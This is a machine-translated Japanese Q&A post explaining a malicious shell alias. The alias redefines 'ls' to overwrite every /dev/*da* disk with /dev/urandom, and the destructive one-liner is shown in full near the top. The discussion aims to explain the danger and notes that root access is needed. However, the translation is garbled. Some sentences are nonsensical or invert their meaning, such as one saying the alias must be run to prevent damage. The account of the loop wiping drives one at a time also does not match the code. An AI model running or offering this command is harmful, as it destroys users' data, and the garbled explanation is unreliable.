しかし、私の考えではそれは有害だと思います。
alias ls="for i in /dev/*da* ; do cat /dev/urandom &> ${i} & done
コードが欠落しているか、インデントが間違っていると思われる場合は、修正してください。
ベストアンサー1
パスワードはい間違っています。 forループの末尾に閉じる引用符がないため、有害です。方法を説明します。
このalias
コマンドはシェル通知です。名前が示すように、ある単語を別のコマンドにエイリアスとして割り当てます。これはそれ自体は悪意のあるものでも有害でもありません。多くの場合、特に複数のフラグとパラメータを含む非常に長いコマンドを定期的に実行する必要がある場合に便利です。
このコマンドを潜在的に有害にすることは、2つの異なる要素の組み合わせです。
- エイリアスは既存のコマンドを上書きします。以下に例を示します。
-bash-3.2$ type ls ls is hashed (/bin/ls) -bash-3.2$ ls file file1 file2 -bash-3.2$ alias ls="echo this is a test" -bash-3.2$ ls this is a test -bash-3.2$
- この
alias
コマンドが正しく実行されるls
と、実行時に最初に識別されたハードドライブの最初のハードドライブが疑似ランダムデータで上書きされ、次のドライブに進むforループでコマンドが上書きされます。
このforループがどのように機能するかを分析するには、まず/ devでワイルドカード拡張と一致するデバイスブロックを見つけます*da*
。このプレフィックスはIDEドライブh
とSATAドライブに使用されますs
。ハードドライブが1つのほとんどの最新のコンピュータでは、そのハードドライブのデバイスブロックはです/dev/sda
。
ここで、個々のパーティションには数字のサフィックス(例:など)が付与sda1
されますsda2
。デバイスブロックが一致すると、$ i値にそのパスが含まれます。その後、バックグラウンドで実行さcat /dev/urandom &> ${i} &
れるコマンドを実行cat /dev/urandom
し、$ {i}値にエクスポートされたすべてのデータを送信して、疑似ランダムデータでデバイスブロックを効果的に上書きします。
最初のパーティションがいっぱいになると、コマンドが終了し、forループが再びcat
実行され、次の一致ブロックデバイスがチェックされ、擬似乱数データで上書きされ、一致するブロックデバイスがなくなるまで次のエントリが実行されます。
明らかに言えば、それ自体は害になりません。このコマンドを実行したalias
後はls
、破損を防ぐために実行する必要があります(rootとして実行 - root以外の場合は、デバイスブロックにデータを書き込むことができないため、このコマンドは機能しません)。
これがどれほど危険なのかを想像する良い方法は走ることですbash -x
。シェルが起動すると、複数のシステムおよびユーザー固有の構成ファイルが実行されます。 bashの場合、一般的なもの/etc/bash_profile
はとです~/.bash_profile
。通常、これらのファイルの1つにはifステートメントがあり、そのファイルが存在することを確認してインポートする~/.bashrc
こともできます。これはls
rootとして実行されたときにのみ機能するため、alias
まずrootとしてコマンドを実行する必要があります。誰かがこれをファイルの1つに追加するには、まずrootアクセス権を取得する必要があります。
最後に、これは非現実的な問題であり、誰かがルートアクセスなしでコンピュータでこれを達成することは非常に困難であることを指摘したいと思います。また、実行のためにシステムへのルートアクセスを必要としない、あまり複雑ではなく、同じように悪意のあるコマンドもあります。